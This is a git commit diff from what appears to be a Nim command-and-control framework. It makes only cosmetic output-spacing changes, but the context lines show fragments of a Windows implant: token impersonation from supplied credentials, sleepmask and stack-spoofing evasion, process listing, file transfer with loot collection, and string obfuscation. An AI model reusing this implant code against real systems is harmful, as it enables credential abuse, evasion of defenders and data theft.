Standardized console spacing between commands.
This commit is contained in:
@@ -3,6 +3,6 @@
|
||||
-d:release
|
||||
--opt:size
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="511"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -150,7 +150,6 @@ proc displayHelp(component: ConsoleComponent) =
|
||||
for module in getModules(component.agent.modules):
|
||||
for cmd in module.commands:
|
||||
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description)
|
||||
component.console.addItem(LOG_OUTPUT, "")
|
||||
|
||||
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
||||
var usage = command.name & " " & command.arguments.mapIt(
|
||||
@@ -172,7 +171,6 @@ proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
||||
for arg in command.arguments:
|
||||
let isRequired = if arg.isRequired: "YES" else: "NO"
|
||||
component.console.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description)
|
||||
component.console.addItem(LOG_OUTPUT, "")
|
||||
|
||||
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
|
||||
try:
|
||||
@@ -185,6 +183,9 @@ proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
|
||||
# Command was not found
|
||||
component.console.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.")
|
||||
|
||||
# Add newline at the end of help text
|
||||
component.console.addItem(LOG_OUTPUT, "")
|
||||
|
||||
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
|
||||
# Convert user input into sequence of string arguments
|
||||
let parsedArgs = parseInput(input)
|
||||
|
||||
@@ -118,7 +118,7 @@ when defined(agent):
|
||||
if length == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
let output = $buffer[0 ..< (int)length] & "\n"
|
||||
let output = $buffer[0 ..< (int)length]
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
@@ -186,7 +186,7 @@ when defined(agent):
|
||||
hFind = FindFirstFileW(searchPatternW, &findData)
|
||||
|
||||
if hFind == INVALID_HANDLE_VALUE:
|
||||
raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
|
||||
raise newException(OSError, fmt"Failed to list files ({GetLastError()}).")
|
||||
|
||||
# Directory was found and can be listed
|
||||
else:
|
||||
@@ -286,7 +286,7 @@ when defined(agent):
|
||||
|
||||
# Add summary of how many files/directories have been found
|
||||
output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
|
||||
output &= fmt"{totalDirs} dir(s)" & "\n"
|
||||
output &= fmt"{totalDirs} dir(s)"
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
|
||||
@@ -83,7 +83,7 @@ when defined(agent):
|
||||
let destination = fmt"{paths.getCurrentDir()}\{fileName}"
|
||||
writeFile(fmt"{destination}", fileContents)
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}." & "\n"))
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
@@ -68,7 +68,7 @@ when defined(agent):
|
||||
case int(task.argCount):
|
||||
of 0:
|
||||
# Retrieve sleepmask settings
|
||||
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}" & "\n"
|
||||
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}"
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
|
||||
|
||||
of 1:
|
||||
|
||||
@@ -61,7 +61,7 @@ when defined(agent):
|
||||
# Take a snapshot of running processes
|
||||
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||
raise newException(CatchableError, protect("Invalid permissions.\n"))
|
||||
raise newException(CatchableError, protect("Invalid permissions."))
|
||||
|
||||
# Close handle after object is no longer used
|
||||
defer: CloseHandle(hSnapshot)
|
||||
@@ -71,7 +71,7 @@ when defined(agent):
|
||||
|
||||
# Loop over processes to fill the map
|
||||
if Process32First(hSnapshot, addr pe32) == FALSE:
|
||||
raise newException(CatchableError, protect("Failed to get processes.\n"))
|
||||
raise newException(CatchableError, protect("Failed to get processes."))
|
||||
|
||||
while true:
|
||||
var procInfo = ProcessInfo(
|
||||
|
||||
@@ -4,7 +4,6 @@ import ../common/[types, utils]
|
||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("token"),
|
||||
@@ -17,7 +16,7 @@ let module* = Module(
|
||||
description: protect("Create an access token from username and password."),
|
||||
example: protect("make-token LAB\\john Password123!"),
|
||||
arguments: @[
|
||||
Argument(name: protect("username"), description: protect("Account username prefixed with domain in format: domain\\username."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("domain\\username"), description: protect("Account domain and username."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
|
||||
],
|
||||
@@ -59,14 +58,14 @@ when defined(agent):
|
||||
# Split username and domain at separator '\'
|
||||
let userParts = username.split("\\", 1)
|
||||
if userParts.len() != 2:
|
||||
raise newException(CatchableError, protect("Invalid username format. Expected: <DOMAIN>\\<USERNAME>.\n"))
|
||||
raise newException(CatchableError, protect("Expected format domain\\username."))
|
||||
|
||||
if task.argCount == 3:
|
||||
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
||||
|
||||
if not makeToken(userParts[1], password, userParts[0], logonType):
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.\n")))
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}." & "\n"))
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
@@ -146,10 +146,11 @@ proc handleResult*(resultData: seq[byte]) =
|
||||
cq.client.sendLoot(lootItem)
|
||||
|
||||
cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n")
|
||||
cq.client.sendConsoleItem(agentId, LOG_OUTPUT, fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes)." & "\n")
|
||||
cq.client.sendConsoleItem(agentId, LOG_OUTPUT, fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).")
|
||||
else: discard
|
||||
|
||||
of RESULT_NO_OUTPUT:
|
||||
cq.output()
|
||||
# Send newline to separate commands
|
||||
cq.client.sendConsoleItem(agentId, LOG_OUTPUT, "")
|
||||
|
||||
except CatchableError as err:
|
||||
cq.error(err.msg, "\n")
|
||||
|
||||
Reference in New Issue
Block a user